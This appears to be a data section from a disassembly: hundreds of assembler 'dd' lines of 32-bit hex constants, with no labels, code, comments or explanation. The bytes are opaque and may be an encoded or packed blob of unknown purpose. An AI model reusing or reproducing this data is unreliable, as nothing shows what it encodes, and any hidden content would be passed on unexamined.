		dd 5C3A6A11h, 50E9D8C5h, 0E7C54Fh, 0A8D4277Bh, 0F5401BD9h
		dd 7CAE3B6Eh, 55ED0442h, 0ABC548E5h, 49F6D782h,	0F22EB8DAh
		dd 582F7EFCh, 690F7159h, 0A24439D9h, 92297EB0h,	0B001B01Eh
		dd 805913A2h, 0C312E413h, 0AB088FB5h, 4CE57576h, 5557E905h
		dd 0E30768BEh, 0C91F3260h, 3A207DD1h, 688BF735h, 45E65E3Ch
		dd 0B0F9D404h, 510C3190h, 0A12DE9C1h, 613754B6h, 574F2B68h
		dd 7EF1821Dh, 0F4584DB9h, 99B74562h, 112EA066h,	68828E58h
		dd 307F1E96h, 4ED7E90Fh, 0BD69FBA4h, 5574A002h,	6EF06564h
		dd 0DF5309BFh, 0A92BADECh, 5D974F52h, 30AE7117h, 69BE6868h
		dd 2DE87EE1h, 4C25E9E0h, 0AFF289C2h, 2C025DBFh,	5C051C10h
		dd 0DCED7305h, 3A5529EBh, 22B674A9h, 0B77B90h, 5A68BB1Bh
		dd 38117AC6h, 0FA5F6C45h, 794C5629h, 39FE9C5Dh,	0BE126ECCh
		dd 0DE99E9A0h, 168F49CCh, 27CB0035h, 0D6BB335Ah, 7D16A09Ah
		dd 0B3A6C329h, 9BAE85Eh, 229FFCE9h, 0BA4C3B40h,	60BA098Fh
		dd 71E0C058h, 0F6B10704h, 27CE34D0h, 58C3028Eh,	0C32E954Bh
		dd 610103CAh, 4299686Bh, 0CFD28C2Fh, 59625B71h,	0DCDAF7CBh
		dd 4D6C8209h, 8BDF802Ch, 0DCC608D6h, 7E2B9ABAh,	0E81D79Eh
		dd 2E7A8005h, 1D295DA4h, 895059C8h, 0F6F47273h,	39B88C69h
		dd 2E051D58h, 5925B90Eh, 0F5ECEA77h, 8357886Ah,	76906B13h
		dd 0ED65272Fh, 0DFAF1175h, 7C88E9h, 0E551AC24h,	2FC6E18Ah
		dd 4FF0052Ch, 0C5DB90E2h, 482F359Eh, 1304815Dh,	0A93E0D31h
		dd 7AF403FCh, 0CC29767Bh, 81A44C4h, 0C170D0Ch, 9FA2305h
		dd 32F35360h, 0F900FFACh, 162D85Bh, 81E398D6h, 17245A08h
		dd 0A8098833h, 96E75B97h, 0D630AEB8h, 5089D1EBh, 18A698FAh
		dd 0C19BD6Bh, 992F0FA3h, 15C96061h, 3A5F8230h, 1653DFD2h
		dd 0FF274B1Ch, 20E24BB3h, 68256F70h, 51A28BEDh,	11525A4Ch
		dd 0E29459B7h, 715F5450h, 9ED7528Dh, 845825BBh,	0DF4E6E18h
		dd 73495697h, 6E7CD9F9h, 98DDF340h, 0B531C36Dh,	6B20A264h
		dd 4B869877h, 7A8AAA99h, 0B012E91Fh, 111F69Fh, 0E77D2E28h
		dd 0D8E6EC01h, 1259E932h, 2E0022A5h, 76274DA2h,	0B262BF04h
		dd 0F4BB89D8h, 0C625E945h, 0BC197FB8h, 1AA5AF87h, 0D74681AAh
		dd 0CE60C12Bh, 5B83408Dh, 0CA0D43B5h, 2552DE6Dh, 6B569AD6h
		dd 8304805Ch, 0C4281890h, 0B588E0F6h, 32403EE0h, 0F8D95581h
		dd 27DF5F3Bh, 83AF5FDCh, 3A8948Ch, 23C62D1Ah, 83D22C63h
		dd 0D82991C8h, 0D18814B4h, 0B7FC278Fh, 5435D88h, 0EBE1F766h
		dd 889E0A89h, 238089C0h, 901EFA5Dh, 298889A1h, 4AC7B63Fh
		dd 0E959DCEBh, 12139832h, 2E776888h, 0A8A5C0C6h, 40627837h
		dd 4803DEECh, 77E99DE4h, 0E6DF06BAh, 0F4DC6FF6h, 9DB56C20h
		dd 0EA1683F4h, 1D2FE08h, 0AAAE66BAh, 73FC2ED7h,	41AF4812h
		dd 4D37BC8Ch, 0F042ED09h, 6CA01C46h, 232402DCh,	51100E1Dh
		dd 0B3F1B400h, 58E33039h, 665CDAE6h, 0DFC68634h, 0F7B24B7h
		dd 14123D1Ch, 0B3D640A5h, 86F3808Eh, 8D41B0F6h,	7BE0A03Fh
		dd 29DE1C16h, 0B73231C1h, 9106F049h, 0BD809526h, 0D294C393h
		dd 9141015Eh, 394A73C7h, 0EE2B4B21h, 0E916452Eh, 0ADF353DEh
		dd 7B2A13A5h, 2D8ECBAFh, 5F22CC54h, 0B441FCC3h,	0F40B71C2h
		dd 2C086059h, 811C7EB0h, 0C0976E7h, 0C2AA0023h,	0BD4DB3DDh
		dd 607F6A89h, 0C259CBE9h, 0E10DA81Eh, 7FF6FE40h, 72171800h
		dd 0E94EEED1h, 4D81B5ACh, 0C116FBBDh, 0DBE26E08h, 6880F500h
		dd 0A7E91479h, 242E3E49h, 7042D6F0h, 0B1ADD4Bh,	41FFA005h
		dd 3C4737B1h, 0CCAEA20h, 290C080Dh, 93A24B60h, 74C9FE9Bh
		dd 0B69F209Ah, 0CBBE795Ch, 20F787B1h, 348BCC3h,	25F8B818h
		dd 93C72DD6h, 0F55F235h, 848D2F54h, 7C436D42h, 0E3DFE902h
		dd 0FF23F9CCh, 50139B36h, 0B999BFC1h, 4287F3EFh, 0F0739016h
		dd 84F12550h, 68151870h, 4A594492h, 3B49E01Fh, 3E045AFh
		dd 9E3354C6h, 4ED6F798h, 0B202D795h, 0D80BDC91h, 8C1D2C12h
		dd 2A2E276h, 0A62D1FDAh, 5D2E46AAh, 0AF5A89F4h,	5873C73Ch
		dd 89A1726Ah, 1D16F4DAh
		dd 2052497h, 0F1BD8FAh,	0BBBF549Fh, 2A6B3898h, 701251B9h
		dd 1FFA99C4h, 57EB57BAh, 2669802Bh, 0E357F10h, 0B5E0B651h
		dd 457BB552h, 5FA56C24h, 0C983EC34h, 3979D69Ah,	54F0A7BDh
		dd 0B9CB0B85h, 567162F4h, 9D93C1FCh, 3CC0BF46h,	0F6F7B652h
		dd 39419CDEh, 0C683BE39h, 5AF08847h, 0F91BB9Ch,	0A93AE568h
		dd 8899B143h, 0A484B3BDh, 9945182Bh, 64907EEDh,	45FD0734h
		dd 46A23F2Ah, 0B1026110h, 0F701A06Ah, 0B95A82D1h, 0DC05A5DFh
		dd 7660090Ah, 0E3C2AE7Eh, 9665590Eh, 87E5C1FAh,	0E4C93FF2h
		dd 0AD4BDEFDh, 3C03015Ah, 29535219h, 0C2D8AB4h,	60CDE905h
		dd 68D238FFh, 0D13145Dh, 5D3276E9h, 0F322F36Ch,	5A3EFE58h
		dd 4E44C16h, 40894180h,	0B43E21A4h, 0DC59857Bh,	0EF1C7BE6h
		dd 195E2F15h, 7BC00DD7h, 907BC380h, 85415B7Dh, 9DCAAF0Ah
		dd 8272267Eh, 59CD8B56h, 0C3D1E0F5h, 310F2526h,	158905F6h
		dd 0E1E57DA4h, 597AD2B2h, 2E118300h, 4C650576h,	4B824D04h
		dd 0BC45F9FAh, 0C153AEB0h, 52B807E8h, 170B8109h, 55F84291h
		dd 0F6121679h, 445954Bh, 0B817FBA6h, 4314091Fh,	4ABF8032h
		dd 0C31B6F72h, 176D66E4h, 58C501C8h, 0C4E5C131h, 0A93F8F71h
		dd 0DD2EC4C9h, 77B25A09h, 0A8E9E5DDh, 0D1E85B36h, 57987B5h
		dd 50D39BAAh, 9B70AF3h,	0A7A7579h, 42B6519Fh, 0B0575453h
		dd 81B302B9h, 97F43E5Dh, 3EB441ABh, 0EF7AF680h,	0A8295F75h
		dd 320841B1h, 0F77E1736h, 5E52F246h, 0AB22A16Bh, 2F001879h
		dd 81023835h, 0DB1458C7h, 34354AB5h, 1CE4CBCCh,	0EC974A25h
		dd 285CC29Bh, 4CB951C3h, 0B1385116h, 4A6948D2h,	3A368CAEh
		dd 70BA7740h, 64D22FDCh, 6535C1DAh, 82FB1AADh, 68F84C68h
		dd 0C889500Eh, 0B2598E51h, 84584E0Bh, 32BCC1B0h, 84189358h
		dd 25B42DB7h, 83EB8004h, 7D87E328h, 930E5857h, 0F6206100h
		dd 5B5FE9D6h, 1221F3F5h, 3BCA4933h, 8803C525h, 0C393D088h
		dd 2D740CCAh, 1AA6BF01h, 32804CC1h, 645E0152h, 32B8D7F7h
		dd 4279081Eh, 78CF063Fh, 0EC5A1833h, 432C12D8h,	141A091Ch
		dd 0D16CB3F5h, 0E93BE14Fh, 0BA4EE1h, 10629419h,	550585Ch
		dd 0E9135D06h, 0AEAD8217h, 2D6D9E16h, 23732401h, 0DCDEC2B7h
		dd 0CC0B5805h, 3CBD22A1h, 18F64A95h, 0B4DC384h,	8E8F805Ah
		dd 0F8157F06h, 927B479h, 0DF07505Eh, 657D02A5h,	13CFC260h
		dd 0C5A7733h, 79D0D1B0h, 3884193Eh, 0BB7E81C9h,	7377238Ah
		dd 843AEC6Fh, 2DAC78E9h, 59F74638h, 51019FB5h, 0AB502568h
		dd 0D6E4284Ch, 0A44FB780h, 0E3810211h, 28C3676Ch, 7FDE4C0h
		dd 0D180F85Bh, 873077h,	0DF354062h, 50B4C18h, 0A27BA303h
		dd 0E3D8F721h, 22138103h, 56B9461h, 81E2D1E1h, 6B8AF7C8h
		dd 0ED75F40h, 0A209C682h, 0BEC9DDD8h, 2027810h,	0A24F3B2Dh
		dd 0F1C6440Eh, 0B53D76D7h, 5B7C4AFAh, 46157C27h, 0BFEF81D4h
		dd 0ED9C5FC6h, 92C57A84h, 0C8BC1E5Fh, 819531A1h, 1A5EB86Ch
		dd 0DAAC2C8Ah, 0D0003AF8h, 0A405E0D1h, 8E4FC3BDh, 67499216h
		dd 51095762h, 0AF7F4557h, 0DDA46DF1h, 81E4583Eh, 0EB0E0FEAh
		dd 4AC4CF60h, 0FA5D8CE5h, 9BB9D40h, 1BF2019Fh, 5B492B57h
		dd 81A427BBh, 1EE7FAC1h, 38D80116h, 6F5C0D39h, 9AB6D85Eh
		dd 63F20D3Dh, 6F0B98BFh, 654A69B0h, 82E09778h, 4E728A76h
		dd 0C796EA30h, 311F34C5h, 440C6F92h, 2016C515h,	77051077h
		dd 0C0E9396Eh, 0D547EAD2h, 0EFC1CAE0h, 0B05F2AB0h, 495AFD0Bh
		dd 95ECD5DCh, 0E7A1C950h, 5D1C39D5h, 187FF62Fh,	0F2892E12h
		dd 32110B99h, 30D25D31h, 703E912h, 807ACB29h, 4A206494h
		dd 0FED570B7h, 13FE6BC3h, 0DD8E0955h, 0BA09EC46h, 0DEBD5706h
		dd 15E80238h, 0E1843FF4h, 20DEF201h, 0A24F6F70h, 7C03E499h
		dd 0B97D01DCh, 4E98E968h, 5EBD85C3h, 0ED7AE469h, 4425BC79h
		dd 0A04BDE57h, 9A1CC108h, 25050C03h, 0A93D208Bh, 5D3AAA65h
		dd 9F443A83h, 8BB0DF09h, 384EA068h, 403933CCh, 810346F1h
		dd 5E1E90CEh, 42EEB01Fh, 0D52725E7h, 716083C2h,	4F7F4862h
		dd 0F3B9E916h, 0DFEDDF9Dh, 5A5BFC64h, 4C23F288h, 1A287EC5h
		dd 73411371h, 17602330h, 0F8DCC680h, 0C11F9EA4h, 20F186FDh
		dd 0B0AE1D0h, 0A7E9500Fh, 18AB8A62h, 138ED000h,	0F0BF02A9h
		dd 7C12C18Ch, 6EBDD36Bh, 8C7FE7FDh, 5AA2E93Bh, 8A6E48C9h
		dd 0BB52502Eh, 66B20512h, 0FA491001h, 0B940994Dh, 527215D5h
		dd 840C75Fh, 7946B78Bh,	67A9645Eh, 9EEB681Dh, 52AF7D20h
		dd 0C2099C60h, 0FD5BD998h, 0EBD292B8h, 0A62E48A1h, 2BE908ECh
		dd 6ABE014Bh, 7A824621h, 80FE4685h, 6920E996h, 90065F91h
		dd 9C32623h, 2E093268h,	4A2F4574h, 5B0B050Bh, 8E18C6B6h
		dd 0CE290ABAh, 0CCEBC1B5h, 69015F34h, 442020D9h, 0D66ACDBDh
		dd 0D8A86D4Bh, 0F6741D0Eh, 0C6070ED6h, 29209B63h, 7CD4E9E1h
		dd 19E84EC8h, 3631B1h, 96584168h, 0F205621Ch, 893671D7h
		dd 6CFFA110h, 4CE0F60Fh, 9880AE89h, 292E4358h, 44274E98h
		dd 14127FF6h, 0CDA4F9D5h, 0F8C57F1Eh, 0FD091CBDh, 0F8C6D568h
		dd 514F2EFEh, 62678BE4h, 223BB773h, 21BB18h, 81614C17h
		dd 7D487BF3h, 2976348h,	8631FA5Bh, 9464029h, 0A5E916DFh
		dd 1043AD4Ah, 0BA02890Eh, 6C682C7Dh, 73B02460h,	4A72801Ch
		dd 0A2CA027Ch, 0E171011Fh, 5307F36Bh, 0A24723Eh, 0DB023255h
		dd 0DE7C5073h, 6EEF009Eh, 89101736h, 0F4F0FD4Fh, 9AE0121Ch
		dd 86798D74h, 5E6A6628h, 6B380D0Ch, 35ED36h, 0E8A6ADE8h
		dd 0F8129C4Ah, 9902EBB1h, 21CF68C2h, 0AB5A4ED3h, 0DDD9F332h
		dd 8780AE44h, 0A61F8D91h, 3A6C31A2h, 3F67E71h, 174B1DE9h
		dd 5B772DFDh, 1160A61Eh, 0C316FAB4h, 9FB4FD5Bh,	135EBC8h
		dd 0E71741BAh, 0D6972A53h, 0E109C989h, 5458640h, 0A03C637Fh
		dd 59921A99h, 77C073E0h, 0C10E1DB0h, 698307EBh,	0CF90FFFFh
		dd 8891E401h, 8055B12h,	29FB9C35h, 139168CFh, 71A2A09Bh
		dd 0A25FFA03h, 0DC7A2939h, 800A2C55h, 9067DA0Fh, 0BA5BE908h
		dd 12C2B56Dh, 10E28C06h, 1B2818B6h, 0FE85B04Bh,	378EE4EFh
		dd 12D7140h, 46A54002h,	4205C801h, 0BE965907h, 298AE910h
		dd 5235FB4Bh, 2606FC18h, 53F2FEh, 0FC28D8B7h, 58E1085Bh
		dd 56B5C1F6h, 75B189B8h, 0BCED084h, 90F2D228h, 97DAB762h
		dd 945DD8A0h, 9F589495h, 2A13D500h, 8A04EC5h, 42252E1Eh
		dd 0E87A5C16h, 45B3240Ch, 254F9F8h, 205BA0F6h, 385BC032h
		dd 7B33775h, 0D790D152h, 0F289D8CEh, 1AE4E913h,	1D05ECB4h
		dd 8BA53CD3h, 0E6775A5Eh, 21662F68h, 0C2272944h, 0FE186478h
		dd 0B2435B69h, 0BE49DF19h, 50214E05h, 4BB78E58h, 0D61EBD83h
		dd 461758A7h, 700F36Ah,	1C4FE331h, 61EEF245h, 4AFD1EBh
		dd 9D36E8BAh, 0AB498C41h, 0BE0501FAh, 7F4C5B8Bh, 9EDB1437h
		dd 0B60DA8B2h, 0B12220AEh, 0D0A5BB4Fh, 0E152EB2Eh, 6B7389BBh
		dd 287E16F1h, 55955CE8h, 6FE66018h, 0DAA28386h,	0BD20DD96h
		dd 62ED0601h, 630BC990h, 78730452h, 7571BDB3h, 8F70F9BFh
		dd 978E2B68h, 5A396427h, 0F8EE54D6h, 801C1E20h,	5925D3F2h
		dd 686660EBh, 23953523h, 0C8B25222h, 98288DB3h,	0E004786Bh
		dd 32C5CD8h, 5A625B39h,	0CC7FC2A2h, 0EF219FB4h,	2F0BB050h
		dd 0E680DB80h, 73C3B593h, 4107EE99h, 7FDB74A9h,	342B9789h
		dd 2079F5F1h, 0F09417AEh, 96F2C727h, 68E08C66h,	590A5327h
		dd 0E90B69D4h, 58C670F2h
		dd 2518B0FDh, 6555F988h, 47E9417Ch, 78BB484Ch, 25424618h
		dd 202EFF0Ch, 390B0877h, 751BD25Ah, 34083CA8h, 0A8145F0Ch
		dd 0ABBCD320h, 5D11C06Ch, 9FDE8280h, 0D1E227C9h, 0C985515Fh
		dd 3DAAD5A6h, 0EC4459B7h, 4598312Ch, 0F116EBB0h, 0C1EA99E7h
		dd 2539F7CDh, 8803411Fh, 55C42FD0h, 86F1E61Ch, 2298871Dh
		dd 1E163009h, 0BC36D682h, 0F3B5DA96h, 442F7123h, 0DD04602Ah
		dd 69543B74h, 90A2F207h, 0D02910B1h, 0CF60A8E9h, 5E0C0DCh
		dd 4F2BFF6h, 0FD85AC29h, 5033DEA7h, 255B4BE9h, 0D751C132h
		dd 0A371EDC8h, 2E0B84B2h, 8073C81Dh, 381CD62Ah,	0A8214FB8h
		dd 0D6C1383h, 0E4C55FF3h, 5EB4B2B8h, 87FE32EAh,	0F70F6CC4h
		dd 650206B9h, 0F6ECF829h, 171B2884h, 0E27A13EFh, 11BC7801h
		dd 0EFFCBB01h, 0E2EAFEF1h, 0AB99D5CEh, 0AA027A53h, 0D2FA0158h
		dd 0DEA92095h, 3456806h, 5C4E293Dh, 0DC84A36Dh,	4A5A2F6h
		dd 0B771F0BAh, 37B3C0BFh, 0A04C4694h, 0D3E915A1h, 14924AD3h
		dd 0ECC9502Dh, 2DCA7831h, 26564070h, 46946BC2h,	2D5C9049h
		dd 76DBB878h, 1E47298Ch, 4C382D68h, 7224E546h, 53620C1Dh
		dd 9F87FF5Ah, 0BAF59755h, 63E941AEh, 31D12ED4h,	59CC8103h
		dd 12672847h, 7EF20209h, 89B86956h, 5E51E381h, 5D5CDA59h
		dd 0FD93EB4Eh, 690B5364h, 5F4C1001h, 0C8231ECh,	9F1831F7h
		dd 975F4338h, 4F619254h, 0BF0B9372h, 0FE7F0331h, 3B1F02F7h
		dd 3DC42CBDh, 7E4B5F14h, 0E9147985h, 0DF9B6DEDh, 5DE26889h
		dd 7D5AFDE6h, 10AEB914h, 800261CEh, 0EA885EC5h,	7F20EB46h
		dd 0E0D10092h, 18A6C02Dh, 892753C7h, 259270C3h,	0CCD58758h
		dd 0E9869FF4h, 5920C4E6h, 26BB4AA7h, 0D87E3C53h, 0A5C2315Ah
		dd 3D7F795Bh, 6455FA96h, 0EE1C43C3h, 996F531h, 85815E3Bh
		dd 289F0256h, 0DB5B1081h, 0DD054000h, 175E4677h, 127DCCA8h
		dd 0A825EAB7h, 56334ECFh, 0A4BBD45Ch, 753AB05h,	0F14B789Dh
		dd 0EEE7416h, 1396EB75h, 0ADCE4B25h, 7B458F01h,	0AFE2CFE0h
		dd 303BB070h, 0CFC893E6h, 4C158BEBh, 733F1FB9h,	0BA521B00h
		dd 4E416182h, 2708A8BFh, 0BAB5289h, 0B79AE902h,	0BFEFE55Fh
		dd 0B44BB212h, 1FCE2603h, 11849F80h, 0EDEC3C8Ah, 0B85383A4h
		dd 396314E8h, 490F00B7h, 134AC981h, 9376A2Ch, 5B77D08Ah
		dd 4CB9016Dh, 6F126478h, 0D9206F8h, 6E1949E3h, 9DFAEA16h
		dd 38F97A6Fh, 734968CEh, 545C02C4h, 717927CEh, 92559E6Fh
		dd 50084B81h, 0E389D018h, 1D243998h, 0DEA59517h, 557251B0h
		dd 5180BFE1h, 9685657h,	73AC155Eh, 8B16F2D0h, 0A3F05A3Eh
		dd 6C771886h, 0A9B90C26h, 0E19F6E7Fh, 0E62439C5h, 4A43EC5Bh
		dd 388BFD7h, 493619D6h,	6D4ABA7Fh, 0FAC3501Bh, 0DDA82A4Eh
		dd 0BF40E50h, 213BEB3Eh, 0E656A155h, 0E9E09C0Bh, 6179671Ah
		dd 967F7929h, 769A2061h, 0E1103CA1h, 13C76CF9h,	81A02859h
		dd 9A1470B5h, 4B049F36h, 55528F9h, 672388BDh, 3081EE40h
		dd 16D11718h, 503BE32Ah, 7D187144h, 0E9BE0A80h,	0F5ACE7FEh
		dd 219A876Dh, 0DBEA5F5Dh, 430100F4h, 1FBFE381h,	174EA258h
		dd 0DCB8883Eh, 7098FAE4h, 0AD0097CDh, 7C436853h, 5B54B700h
		dd 153AD4BDh, 9A29B07Eh, 1E6F91C0h, 0CC078928h,	132DDAD6h
		dd 5DB4D9B6h, 0B1E42AAFh, 4D2D289Eh, 0A78B09B6h, 0F3270871h
		dd 0C9444210h, 98A92209h, 0A25001Fh, 5500E12Eh,	7B447D35h
		dd 1BC3090Fh, 591833E9h, 0CA258878h, 898FA081h,	0F676C901h
		dd 42FC9D3Ch, 8105064Ch, 53594002h, 922AE950h, 0A398DF8Bh
		dd 0C5482CF4h, 0BDE60059h, 4E5F3C6Ch, 50384AE9h, 974FB357h
		dd 0BCE0C415h, 94ED5EC3h, 0A6426B80h, 54C14335h, 44BD1AFBh
		dd 815B807Ah, 520A93CBh, 0ED4302F2h, 0A215C301h, 0F3F87075h
		dd 711A090Eh, 24E70163h, 9997F23Dh, 0FD2E7C43h,	2E68C267h
		dd 0B071F175h, 37619A96h, 3BB92F02h, 60A0A64Bh,	2E541732h
		dd 1252739Eh, 8488447Eh, 0C01C9669h, 901D9709h,	0A57B0420h
		dd 0D64EC242h, 0F002C88Bh, 0C875055Ah, 4F685D74h, 7D764684h
		dd 0C2029F64h, 4BA9F70Ch, 0D1D1F701h, 55BCCA0Ch, 8E2212EDh
		dd 93710744h, 8F0B0E97h, 5CA78E51h, 0CB2AEA59h,	92FB947Dh
		dd 2F6390CAh, 915A7061h, 16665220h, 458C521h, 1288B127h
		dd 0F260FDE8h, 6A23FD64h, 0BB73B98h, 0CA65755Dh, 6A6802ADh
		dd 831E5527h, 0BF805A62h, 4B475D1Ah, 0E9501C26h, 67CE5879h
		dd 428B13A5h, 19A86816h, 0BAC1ED9Bh, 72C6E18h, 4A14924Ah
		dd 0BF3CFB5Ah, 13FB4FE9h, 9ADEFEBAh, 0C2B6B24Ah, 0DFB153E9h
		dd 9477B43Ah, 16BB7ECAh, 0FA9C7AC7h, 8B042C24h,	425D73E5h
		dd 61696575h, 5FA2C940h, 0A9C3B483h, 3823E1CCh,	4D03F03Bh
		dd 8A1345B8h, 5605331Ah, 5DFE6524h, 6D6ADC68h, 5909AF53h
		dd 0C552F607h, 5A16AE50h, 0C0351A40h, 0E630400Dh, 0BF310197h
		dd 0C3792D3Ch, 6F01F169h, 50D455A2h, 86C23525h,	0E29C797Fh
		dd 19557A7Ch, 0D78FB1E9h, 98CA09BAh, 27221DA0h,	97C63CDDh
		dd 0E72A6D00h, 0E9598319h, 0BE76921h, 9087EC9Ah, 27975908h
		dd 0CB590289h, 0F1343004h, 84FFC185h, 340817A1h, 0F531AA8Fh
		dd 0DD7BABB7h, 68826050h, 8CA2E84Ah, 1E17FBD6h,	0AA97FFF2h
		dd 69D2D6CCh, 20F80D13h, 5E352265h, 5B6A6FBh, 413A2523h
		dd 291F1BFh, 165F5908h,	0FC845ABDh, 67251A39h, 0BC485F9Eh
		dd 0CA305FBFh, 35410C22h, 0E0024044h, 6D28301Fh, 3F4459ECh
		dd 25F00B94h, 83350258h, 89DF21ABh, 607890DDh, 0AF018177h
		dd 0B0A257C0h, 0A8E0E689h, 209F754Bh, 9E709F0Ch, 141C9E0Bh
		dd 550408EBh, 0F25C9D68h, 0EA924069h, 1DF64300h, 0ABDABDBBh
		dd 0C4D62Ch, 69E5E368h,	7F986FA7h, 41A3E91Ah, 0BBC3603Ch
		dd 902E18DDh, 44F6722Ch, 0EE3C8C2Ch, 12FD4F13h,	0B52D08A6h
		dd 9B274B7h, 4F96D5F6h,	80FDB601h, 0B15191CEh, 15D186DCh
		dd 12552868h, 9710F62Eh, 50B34B70h, 9D5E1475h, 1D882D5Bh
		dd 8B0AE0Fh, 5B168BF6h,	3BF4CABAh, 2DEF5AC2h, 0BDD44448h
		dd 67A513A8h, 28D08C61h, 1F16C026h, 0F902217Ch,	70F93BBDh
		dd 0F67CFF93h, 0EFDF4B9Ah, 44B1D9D4h, 0DBBA77Bh, 3C95ADE9h
		dd 0ABBCC16Ah, 593493D5h, 8C0221F8h, 4A124C32h,	209C69DEh
		dd 1213070Fh, 6E7CB1FFh, 0D24143F9h, 0E45AF83Bh, 0EE9013BFh
		dd 2CBAA613h, 6554A337h, 4BFB5171h, 2EE90CADh, 0BB5E267Fh
		dd 0BA6645CFh, 4B7AE493h, 55068053h, 8096852h, 56034A67h
		dd 3B1E3DF4h, 82D9FE34h, 0D28BF739h, 0EE085D31h, 0E9933107h
		dd 4C1378B9h, 8312F6ADh, 6A7C2A5Ah, 4A46F067h, 0D649AF6Fh
		dd 0BA1F23E7h, 0D1BC966h, 0F16AC28h, 0F8BB3D7Fh, 0CFDD7BC0h
		dd 0D9B9B489h, 0EE5016C5h, 3968AE90h, 0A96A909h, 214CDE38h
		dd 0A58521Dh, 0EB924Ah,	235E24FBh, 0FE9CD6E9h, 62F8880Bh
		dd 0AFE1C591h, 5A018B58h, 0E9515966h, 0E0636DFCh, 176AED84h
		dd 0BD4B83A0h, 0E6C1FE02h, 51B78055h, 0EC577642h, 7D6813F6h
		dd 24A60447h, 0D2A71D8Fh, 85BB5EAAh, 6CD8FF71h,	0BF5AEE3Ch
		dd 0FE421ED9h, 13FB77D8h, 3D18D32Ch, 9702BD0Ah,	10C2469Ah
		dd 420DF9F5h, 0BE006463h, 7AC26CC4h, 751E2D4Ch,	0B893BC79h
		dd 40697097h, 253C78ACh, 2B881AB2h, 29580107h, 3E9EE9DEh
		dd 0D3BF4B00h, 0F436356Dh, 0CB1B557Dh, 0EADBC46Eh, 5712E08Fh
		dd 6FF3BE54h, 0CD0B29C8h, 5B44257Bh, 0FEA584FAh, 0B159BDC8h
		dd 2B820C8h, 0AC9A9DADh
		dd 0CCFDF101h, 0FB6C97ABh, 0F69F666Bh, 0D219A51Ah, 0CD964809h
		dd 8689635Fh, 0FC17C42Fh, 45762703h, 7D9B08D2h,	0B905BF13h
		dd 87FA7BE6h, 8C11D2E0h, 5883A47Ch, 9FEDEB80h, 7E200269h
		dd 5DEBA96Eh, 754B26F1h, 0CCC001EAh, 0CD78D55h,	5E9AAB8Dh
		dd 517479EAh, 32142D81h, 5BFD6CADh, 8C56AD9Dh, 0EFB977F2h
		dd 0C91CAF1Ch, 0EC2FDA5h, 0FAE3080Bh, 55F9CEC8h, 4E656A12h
		dd 57F46B00h, 9D0167FBh, 0CC528D5Eh, 6411A224h,	370CD3E1h
		dd 0F910CBEDh, 829FFAE9h, 0E0D8F7F7h, 0E84A412Fh, 0FED9F078h
		dd 24C04D2Fh, 5659CE0Ch, 8BB723FEh, 5C3E7FC0h, 40A9F1B5h
		dd 0C648E952h, 9D12C6BDh, 71F78598h, 0BCD75E9Fh, 0E5674117h
		dd 899935DAh, 139E8E0h,	938CE96Bh, 0D7037FBBh, 1486771h
		dd 88826E6h, 0FE955FF9h, 2DF1E53Bh, 0B0616B9Fh,	356A8927h
		dd 0F64F80A9h, 6B51955Dh, 716540BFh, 4160AC2Bh,	0D361A1C8h
		dd 0A4E91315h, 0AE1120E6h, 1B022F4Ch, 50FAACBBh, 4490C213h
		dd 883D20D4h, 6B6210A1h, 104E22F9h, 121882E5h, 0CB871968h
		dd 0D3699CFCh, 20DA7A11h, 63A0AA54h, 7D82A4EFh,	55318C86h
		dd 0BDF78102h, 0A91CC373h, 63ED988h, 35CEB2E9h,	92580326h
		dd 5986780Bh, 0F4C846h,	0CA2BE30Ah, 2ECBDF89h, 0DEE9581Eh
		dd 35C6092Fh, 789DCB14h, 43870F44h, 0F5AF4086h,	59060133h
		dd 3A45EDD1h, 0B8065307h, 8B3EA69Ah, 0D50C6366h, 5270B107h
		dd 71566CD5h, 9117B624h, 9E709F4h, 336566D6h, 131E0275h
		dd 83EF51AAh, 7CA64198h, 3B4C74E9h, 41E02DD8h, 4792F89Dh
		dd 0C2BFDA9Ah, 8FC47DE6h, 1B730C31h, 0A83A05D0h, 0D9F84AAEh
		dd 7585E1h, 4A5AD731h, 4A56E821h, 0F86D1C2h, 2E32290Dh
		dd 3E832DEEh, 37E87616h, 9E5CFBF7h, 4A22E9F0h, 0F84BF58Ah
		dd 8F137935h, 0DF44CF16h, 0E9AE8BD5h, 77DE9EF0h, 1D01BEFh
		dd 0F8BB5367h, 3C22F968h, 5D0507C1h, 0CB607F18h, 4A3977BEh
		dd 21B50678h, 0EE4E777Dh, 0BE29B8E1h, 7802054Ch, 3136C0D0h
		dd 0BA554655h, 90E5900Fh, 4A2C023Bh, 0C1411EDCh, 6592AA63h
		dd 887986Ah, 0C106A5EFh, 30F80198h, 4887EF1h, 25DD3D6Fh
		dd 0FD397B17h, 60B286DFh, 84E10487h, 80394544h,	351308C9h
		dd 3390C490h, 6FEC9FEh,	1D160F3Bh, 878D3CF1h, 126F825Ch
		dd 8D75AF5Fh, 5BB11001h, 373129A5h, 8017121h, 0FF2A2C8Bh
		dd 25E9223Ch, 9CC87559h, 0E2303E18h, 5332E067h,	6809FF2h
		dd 0B17D66A0h, 0E915819Dh, 203FD680h, 2BAE68DCh, 0B7B84CBDh
		dd 84C63E76h, 0C821120Ah, 25E5ED59h, 9707D8F7h,	7ED3BFCh
		dd 4145B664h, 0EBAD4078h, 0F82E623Bh, 73882F2Ch, 75723796h
		dd 0EA628802h, 0D8316E3Ch, 2C23E33h, 68503B46h,	81AEF14Eh
		dd 2D47C4BFh, 0B1F62029h, 4A466900h, 41B4E681h,	0C6A602Fh
		dd 1EEA2ED4h, 0C3030298h, 9519677h, 0CF9002F7h,	7B386CAFh
		dd 42D16140h, 0A5445F3Fh, 45935EEFh, 1D860040h,	31767538h
		dd 7F25C87Eh, 8A74962h,	38052C2Dh, 0B9AA53B6h, 0E1F84F0Bh
		dd 0EB7E2C5Bh, 8056E69Fh, 925E9BC9h, 58660E4Eh,	5281D486h
		dd 853054B2h, 0E6285A0Ch, 0C001B5A3h, 0B15102EEh, 0A6C3FAB4h
		dd 532EF09Bh, 682752E9h, 26187561h, 16D12266h, 2BC8E159h
		dd 0FF5825C2h, 0B49320D1h, 61FFC684h, 25F3795h,	4368595Ch
		dd 0C883B12Ch, 506842C7h, 3B6F155h, 0B753E9B3h,	0F0EF80B0h
		dd 0BF3DB0h, 2A79055Fh,	2D081D57h, 4D73046Eh, 0FE44D55Ah
		dd 6F023D6Dh, 1604D678h, 0B06CA851h, 9A188Bh, 2611B930h
		dd 0A9E9452Dh, 2755749Fh, 30B195D1h, 373E6768h,	7EF880B8h
		dd 0C6B555C1h, 0F4534831h, 324F7D00h, 7843BB74h, 0D4212527h
